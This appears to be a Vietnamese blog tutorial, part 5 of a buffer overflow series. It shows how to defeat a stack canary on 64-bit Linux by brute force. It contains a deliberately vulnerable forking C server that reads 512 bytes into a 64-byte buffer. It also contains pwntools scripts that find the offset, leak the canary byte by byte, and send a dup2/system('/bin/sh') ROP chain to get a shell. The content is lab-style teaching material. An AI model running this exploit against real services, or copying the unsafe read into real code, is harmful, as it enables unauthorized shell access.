+2

Linux Exploit - Buffer Overflow - Phần 5 - Bypass Stack Canary (Linux 64 bits) by Brute force

Sau phần 4, hướng dẫn cách bypass NX (Non-executable Stack), hôm nay mình sẽ hướng dẫn cách bypass stack canary trên linux 64 bits bằng phương pháp brute force.

1. Stack canary là gì?

Stack canary là cơ chế bảo mật cho stack, nó ngăn chúng ta thực hiện khai thác thỗi buffer overflow nhằm thay đổi thanh ghi và truyền shellcode. Hiểu đơn giản, mình có hình ảnh stack trước và sau khi sử dụng stack canary như sau:

Như vậy, 8 bytes được thêm vào sau phần buffer, đảm bảo răng nếu xảy ra lỗi buffer overflow, stack canary sẽ bị thay đổi, từ đó ngăn chặn việc khai thác có thể xảy ra. Theo cơ chế này, chúng ta có cách khai thác là brute force, tìm ra stack canary sau đó gửi kèm payload để thực hiện khai thác

2. Phân tích chương trình khai thác với gdb

Sau bài viết về socket programming, mình thực hiện viết server để khai thác với mã code c như sau, mình đã update lên link github : https://github.com/vuongle-vigo/BinaryExploit/tree/master/Buffer Overflow/StackCanary_Bypass

server_vuln.c

# include <stdio.h>
# include <string.h>
# include <stdlib.h>
# include <unistd.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <sys/socket.h>
# include <sys/types.h>
# include <errno.h>
# include <sys/socket.h>
# include <sys/types.h>

#define BUFFER_SIZE 64
#define PORT 8888
#define SERVER_ADDRESS "127.0.0.1"

const char secret_password[] = "S3cr3tP4ssw0rd";

struct sockaddr_in set_sockaddr_in(char *host, int port){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = inet_addr(host);
    memset(&addr.sin_zero, 0 , sizeof(addr.sin_zero));
    return addr;
}

int set_socket(char *host, int port){
    struct sockaddr_in addr_in = set_sockaddr_in(host, port);
    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sockfd < 0){
        perror("socket");
        close(sockfd);
        exit(-1);}
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int)) == -1) {
    perror("setsockopt() error...\n");
    exit(1);
    }
    if(bind(sockfd, (struct sockaddr *)&addr_in, sizeof(struct sockaddr)) < 0){
        perror("bind");
        close(sockfd);
        exit(-1);}
    return sockfd;
}

int auth(int connectfd){
    char message[] = "User Access Verification\n\nPassword: ";
    write(connectfd, message, strlen(message));
    char buffer[BUFFER_SIZE];
    int size = read(connectfd, buffer, 512);
    return (strcmp(buffer, secret_password)==0);
}

int main(int argc, char *argv[]){
    int sockfd = set_socket(SERVER_ADDRESS, PORT);
    
    if((listen(sockfd, 5)) == -1) {
        perror("listen");
        close(sockfd);
        exit(-1);
    }
    printf("Listening on %s port %d\n", SERVER_ADDRESS, PORT);

    struct sockaddr_in client_addr;
    socklen_t addr_len = sizeof(struct sockaddr_in);
    int connectfd;
    while(1){
        if((connectfd = accept(sockfd, (struct sockaddr *)&client_addr, &addr_len))<0){
            exit(0);
        }
        pid_t pid = fork();
        if(pid<0){
            perror("fork");
            exit(0);
        }
        if(pid==0){//child
            close(sockfd);
            if(auth(connectfd)==1){
            char success[] = "Login successful";
            write(connectfd, success, strlen(success));
            } else {
                char invalid[] = "Invalid Password";
                write(connectfd, invalid, strlen(invalid));
                }
        }
        else if(pid>0){//parrent
            close(connectfd);
        }
    }
    
    return 0;
    
}

Thực hiện compile chương trình: gcc -fstack-protector server_vuln.c -o server_vuln Sử dụng checksec ta thầy stackcanary đã được bật. Chạy thử chương trình cùng với netcat ta được kết quả như sau:

Chương trình yêu cầu nhập password, nếu sai sẽ trả về Invalid password.

3. Viết chương trình khai thác với python3 pwntools

Đầu tiên mình sẽ viết file python để xác định xem cần bao nhiêu kí tự để ghi đè lên stack canary:

from pwn import *

context.update(os = "linux", arch = "amd64")

buffer = "A"
payload = buffer


def exploit(payload, interactive=False):
	size_payload = 0
	for i in range(100):
		try:
			r = remote("localhost", 8888, level='error')
			r.sendafter("Password: ", payload)
			recv_data = r.recv(100, 0.1)
			if(recv_data == b"Invalid Password"):
				size_payload += 1
				payload += "A"	
		except EOFError:
			break
		finally:
			r.close()
	print("Size of payload = ", size_payload)
exploit(payload)

Chạy file ta được kết quả như sau:

Vậy kết quả là 72, ta thấy ở server hiện thị stack smashing detected. Tức là ở kí tự thứ 73 đã gây ra lỗi này. Dưới đây là file python khai thác hoàn thiện của mình, kết hợp với NX_bypass mình viết ở phần trước, ta sẽ lấy được 1 shell.

from pwn import *

context.update(os = "linux", arch = "amd64")

buffer = b'A'*72
payload = buffer

def exploit(payload, interactive=False):
	try:
		r = remote("localhost", 8888, level='error')
		r.sendafter(b"Password: ", payload)
		recv_data = r.recv(100, 0.1)
		if(recv_data == b"Invalid Password"):
			return True
	except EOFError:
		return False
	finally:
		if interactive:
			r.interactive()
		else: 
			r.close()

def leak_bytes(payload, name):
	leak_bytes = []
	progress = log.progress(name, level=logging.WARN)
	for i in range(8):
		for k in range(0,256):
			if(exploit(payload + p8(k))):
				payload = payload + p8(k)
				leak_bytes.insert(0, hex(k))
				progress.status(repr(leak_bytes))
				break
	log.info(f"Leaked {name} = {hex(u64(payload[-8:]))}")
	return payload

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
libc.address = 0x007ffff7dce000
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
rop.system(next(libc.search(b"/bin/sh")))
payload = leak_bytes(payload, "Canary")
payload += p64(0xBADC0FFEE0DDF00D) 
# sys = p64(libc.sym.get("system"))
# exit = p64(libc.sym.get("exit"))
# binsh = p64(next(libc.search(b"/bin/sh")))

# log.info(f"ROP Chain:\n{rop.dump()}")

payload += bytes(rop)

exploit(payload, True)

Kết quả nhận được như sau: Vậy là mình đã lấy được 1 shell.


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí